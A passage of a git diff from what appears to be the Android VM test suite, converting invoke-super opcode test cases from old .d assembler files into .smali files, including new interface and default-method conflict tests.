-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_2.java
-.class public dot.junit.opcodes.invoke_super.d.T_invoke_super_2
-.super dot/junit/opcodes/invoke_super/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 8
-       const v7, 0    
-       invoke-super {v7}, dot/junit/opcodes/invoke_super/d/T_invoke_super_2/toInt()I
-
-       move-result v0
-       return v0
-.end method
-
-
-.method public toInt()I 
-.limit regs 3
-    const v0, 777
-    return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_2.smali
new file mode 100644
index 0000000..f36eb6a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_2.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_2.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_2;
+.super  Ldot/junit/opcodes/invoke_super/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 8
+       const v7, 0    
+       invoke-super {v7}, Ldot/junit/opcodes/invoke_super/d/T_invoke_super_2;->toInt()I
+
+       move-result v0
+       return v0
+.end method
+
+
+.method public toInt()I 
+.registers 3
+    const v0, 777
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_20.d
deleted file mode 100644
index eb429ee..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_20.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_20.java
-.class public dot.junit.opcodes.invoke_super.d.T_invoke_super_20
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ldot/junit/opcodes/invoke_super/TestStubs;)V
-.limit regs 5
-
-       invoke-super {v4}, dot/junit/opcodes/invoke_super/TestStubs/TestStubP()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_20.smali
new file mode 100644
index 0000000..8a88377
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_20.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_20.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_20;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_super/TestStubs;)V
+.registers 5
+
+       invoke-super {v4}, Ldot/junit/opcodes/invoke_super/TestStubs;->TestStubP()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_22.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_22.d
deleted file mode 100644
index fbeb8e8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_22.d
+++ /dev/null
@@ -1,39 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_22.java
-.class public dot.junit.opcodes.invoke_super.d.T_invoke_super_22
-.super dot/junit/opcodes/invoke_super/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 6
-
-       new-instance v2, dot/junit/opcodes/invoke_super/d/TPlain
-       invoke-direct {v2}, dot/junit/opcodes/invoke_super/d/TPlain/<init>()V
-
-       invoke-super {v2}, dot/junit/opcodes/invoke_super/d/TSuper/toIntP()I
-
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_22.smali
new file mode 100644
index 0000000..b3f27694
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_22.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_22.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_22;
+.super  Ldot/junit/opcodes/invoke_super/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 6
+
+       new-instance v2, Ldot/junit/opcodes/invoke_super/d/TPlain;
+       invoke-direct {v2}, Ldot/junit/opcodes/invoke_super/d/TPlain;-><init>()V
+
+       invoke-super {v2}, Ldot/junit/opcodes/invoke_super/d/TSuper;->toIntP()I
+
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_23.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_23.d
deleted file mode 100644
index f1d2a6f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_23.d
+++ /dev/null
@@ -1,39 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_23.java
-.class public dot.junit.opcodes.invoke_super.d.T_invoke_super_23
-.super dot/junit/opcodes/invoke_super/d/TSuper2
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super/d/TSuper2/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 6
-
-       new-instance v2, dot/junit/opcodes/invoke_super/d/TSuper
-       invoke-direct {v2}, dot/junit/opcodes/invoke_super/d/TSuper/<init>()V
-
-       invoke-super {v2}, dot/junit/opcodes/invoke_super/d/TSuper2/test()I
-
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_23.smali
new file mode 100644
index 0000000..76e9c69
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_23.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_23.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_23;
+.super  Ldot/junit/opcodes/invoke_super/d/TSuper2;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super/d/TSuper2;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 6
+
+       new-instance v2, Ldot/junit/opcodes/invoke_super/d/TSuper;
+       invoke-direct {v2}, Ldot/junit/opcodes/invoke_super/d/TSuper;-><init>()V
+
+       invoke-super {v2}, Ldot/junit/opcodes/invoke_super/d/TSuper2;->test()I
+
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_24.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_24.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_24.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_24.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_24.smalis/TTestInterface.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_24.smalis/TTestInterface.smali
new file mode 100644
index 0000000..c07a608
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_24.smalis/TTestInterface.smali
@@ -0,0 +1,22 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_super/d/TTestInterface;
+.super Ljava/lang/Object;
+.source "TTestInterface.java"
+
+
+# virtual methods
+.method public abstract test()V
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_24.smalis/TTestInterfaceImpl.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_24.smalis/TTestInterfaceImpl.smali
new file mode 100644
index 0000000..5f8fe86
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_24.smalis/TTestInterfaceImpl.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_super/d/TTestInterfaceImpl;
+.super Ljava/lang/Object;
+.source "TTestInterfaceImpl.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_super/d/TTestInterface;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public test()V
+    .registers 1
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_24.smalis/T_invoke_super_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_24.smalis/T_invoke_super_24.smali
new file mode 100644
index 0000000..ce39828
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_24.smalis/T_invoke_super_24.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_24;
+.super Ldot/junit/opcodes/invoke_super/d/TTestInterfaceImpl;
+.source "T_invoke_super_24.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ldot/junit/opcodes/invoke_super/d/TTestInterfaceImpl;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 8
+
+    invoke-super {p0}, Ldot/junit/opcodes/invoke_super/d/TTestInterface;->test()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_25.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_25.d
deleted file mode 100644
index f6e763c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_25.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_25.java
-.class public dot.junit.opcodes.invoke_super.d.T_invoke_super_25
-.super dot/junit/opcodes/invoke_super/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public static run()V
-.limit regs 4
-
-       new-instance v3, dot/junit/opcodes/invoke_super/d/T_invoke_super_25
-       invoke-super {v3}, dot/junit/opcodes/invoke_super/d/T_invoke_super_25/toInt()I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_25.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_25.smali
new file mode 100644
index 0000000..5233276
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_25.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_25.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_25;
+.super  Ldot/junit/opcodes/invoke_super/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 4
+
+       new-instance v3, Ldot/junit/opcodes/invoke_super/d/T_invoke_super_25;
+       invoke-super {v3}, Ldot/junit/opcodes/invoke_super/d/T_invoke_super_25;->toInt()I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_26.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_26.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_26.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_26.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_26.smalis/ITestDefault.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_26.smalis/ITestDefault.smali
new file mode 100644
index 0000000..50fbc7d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_26.smalis/ITestDefault.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_super/d/ITestDefault;
+.super Ljava/lang/Object;
+.source "ITestDefault.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_26.smalis/ITestDefault2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_26.smalis/ITestDefault2.smali
new file mode 100644
index 0000000..b94e6f9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_26.smalis/ITestDefault2.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_super/d/ITestDefault2;
+.super Ljava/lang/Object;
+.source "ITestDefault2.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_26.smalis/T_invoke_super_26.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_26.smalis/T_invoke_super_26.smali
new file mode 100644
index 0000000..f75f1a7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_26.smalis/T_invoke_super_26.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_26;
+.super Ljava/lang/Object;
+.source "T_invoke_super_26.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_super/d/ITestDefault;
+.implements Ldot/junit/opcodes/invoke_super/d/ITestDefault2;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 1
+
+    invoke-super {p0}, Ldot/junit/opcodes/invoke_super/d/ITestDefault;->testDefault()V
+
+    invoke-super {p0}, Ldot/junit/opcodes/invoke_super/d/ITestDefault2;->testDefault()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_27.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_27.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_27.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_27.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_27.smalis/ITestDefault.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_27.smalis/ITestDefault.smali
new file mode 100644
index 0000000..50fbc7d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_27.smalis/ITestDefault.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_super/d/ITestDefault;
+.super Ljava/lang/Object;
+.source "ITestDefault.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_27.smalis/ITestDefault2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_27.smalis/ITestDefault2.smali
new file mode 100644
index 0000000..b94e6f9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_27.smalis/ITestDefault2.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_super/d/ITestDefault2;
+.super Ljava/lang/Object;
+.source "ITestDefault2.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_27.smalis/ITestNonDefault.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_27.smalis/ITestNonDefault.smali
new file mode 100644
index 0000000..af3471a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_27.smalis/ITestNonDefault.smali
@@ -0,0 +1,26 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_super/d/ITestNonDefault;
+.super Ljava/lang/Object;
+.source "ITestNonDefault.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_super/d/ITestDefault;
+.implements Ldot/junit/opcodes/invoke_super/d/ITestDefault2;
+
+
+# virtual methods
+.method public abstract testDefault()V
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_27.smalis/T_invoke_super_27.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_27.smalis/T_invoke_super_27.smali
new file mode 100644
index 0000000..0f58599
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_27.smalis/T_invoke_super_27.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_27;
+.super Ljava/lang/Object;
+.source "T_invoke_super_27.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_super/d/ITestNonDefault;
+.implements Ldot/junit/opcodes/invoke_super/d/ITestDefault2;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 1
+
+    invoke-super {p0}, Ldot/junit/opcodes/invoke_super/d/ITestNonDefault;->testDefault()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_28.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_28.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_28.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_28.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_28.smalis/ITestConflict.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_28.smalis/ITestConflict.smali
new file mode 100644
index 0000000..5a986bc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_28.smalis/ITestConflict.smali
@@ -0,0 +1,21 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_super/d/ITestConflict;
+.super Ljava/lang/Object;
+.source "ITestConflict.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_super/d/ITestDefault;
+.implements Ldot/junit/opcodes/invoke_super/d/ITestDefault2;
